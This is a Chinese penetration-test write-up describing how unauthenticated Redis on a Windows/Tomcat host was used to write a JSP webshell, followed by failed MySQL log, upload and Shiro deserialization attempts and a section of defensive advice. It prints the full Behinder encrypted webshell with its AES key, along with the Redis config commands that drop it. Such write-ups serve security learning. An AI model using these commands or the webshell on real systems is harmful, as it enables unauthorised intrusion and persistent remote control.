踩坑版渗透-记录某次授权测试
字数 1650 2025-08-19 12:41:39
Redis未授权访问与Windows环境下的渗透利用
1. 信息收集阶段
1.1 端口扫描发现
- 目标系统开放了多个端口:
- 21/tcp (FTP)
- 80/tcp (HTTP, Microsoft IIS httpd 10.0)
- 6379/tcp (Redis)
- 8085/tcp (HTTP, nginx 1.16.1)
- 8089/tcp (HTTP, 404)
- 8098/tcp (HTTP, 404)
1.2 服务识别
- Redis服务(6379)被发现存在未授权访问漏洞
- Web服务运行在IIS和nginx上
- 多个Tomcat实例(通过8089和8098端口判断)
2. Redis未授权访问利用
2.1 Redis基础利用方法
- Linux环境下:
- 写入SSH公钥
- 写入计划任务反弹shell
- Windows环境下:
- 只能写入webshell
- 需要获取web目录的真实路径
2.2 Windows环境下的利用步骤
-
获取web目录:
- 通过网站目录浏览功能发现多个Tomcat实例
- 确认其中一个可访问目录:
C:\Program Files\**\*\ROOT
-
Redis写入webshell:
config set dir "C:\Program Files\**\*\ROOT" config set dbfilename "index-back.jsp" set xxx1xxx "\<\%\@page import\=\"java.util.*\,javax.crypto.*\,javax.crypto.spec.class U extends ClassLoader{U(ClassLoader c){super(c)\;}public Class g(byte []b){return super.defineClass(b\,0\,b.length)if (request.getMethod().equals(\"POST\"")){String k\=\"e45e329feb5d925b\"\;session.putValue(\"u\"\,k)\;Cipher c\=Cipher.getInstance(\"AES\")\;c.init(2\,new SecretKeySpec(k.getBytes()\,\"AES\"))\;new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext)" save -
清理痕迹:
del xxx1xxx config set dir "C:\**\*" config set dbfilename "dump"
2.3 使用的Webshell
- 冰蝎(Behinder)加密马:
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
3. 其他尝试的攻击方法
3.1 文件上传漏洞
- 发现系统接收PUT方法上传文件
- 尝试绕过失败,原因是临时上传目录不存在
- 错误信息:
Failed to parse multipart servlet request; nested exception is java.io.IOException: The temporary upload location
3.2 MySQL日志写入Webshell
- 尝试通过慢查询日志写入Webshell:
SHOW VARIABLES LIKE "%slow_query_log%";
set global slow_query_log=1;
set global slow_query_log_file='C:\Tomcat\webapps\ROOT\conf-back.jsp';
select '<%@page import="java.util.*,javax.crypto........一句话木马' or sleep(11);
- 失败原因:SQL语句被URL编码拼接,解释器处理方式不同
3.3 Shiro反序列化
- 发现响应头有
rememberMe=deleteMe标识 - 尝试使用Shiro反序列化工具:
- ShiroScan: https://github.com/fupinglee/ShiroScan/releases
- ysoserial: https://github.com/frohoff/ysoserial
- 失败原因:系统只使用token标识,不使用cookie
4. 防御建议
-
Redis安全配置:
- 设置强密码认证
- 绑定特定IP访问
- 修改默认端口
- 禁用危险命令(如config)
-
Web应用安全:
- 避免使用弱密码,特别是管理系统
- 对文件上传功能进行严格限制
- 避免目录遍历漏洞
- 对登录凭证进行加密,避免单纯依赖token
-
系统架构安全:
- 非必要服务不要暴露在公网
- 测试环境应与生产环境隔离
- 使用白名单限制访问
- 业务服务使用普通用户权限运行
-
日志与监控:
- 监控异常文件创建和修改
- 记录Redis的config命令使用
- 监控Web目录下的异常文件
5. 参考工具
-
Shiro反序列化工具:
- https://github.com/fupinglee/ShiroScan
- https://github.com/wh1t3p1g/ysoserial
- https://github.com/zema1/ysoserial/
-
Redis利用参考:
- 《Redis on Windows 出网利用探索》: https://xz.aliyun.com/t/8153
-
Webshell工具:
- 冰蝎(Behinder): 加密型webshell管理工具
6. 总结
本次渗透测试展示了在Windows环境下利用Redis未授权访问漏洞获取系统权限的过程。关键点包括:
- 通过信息收集发现Redis未授权访问漏洞
- 利用目录遍历功能获取web真实路径
- 通过Redis写入加密webshell
- 使用冰蝎连接获取控制权限
防御此类攻击需要多层次的防护措施,包括服务配置加固、权限最小化和完善的监控机制。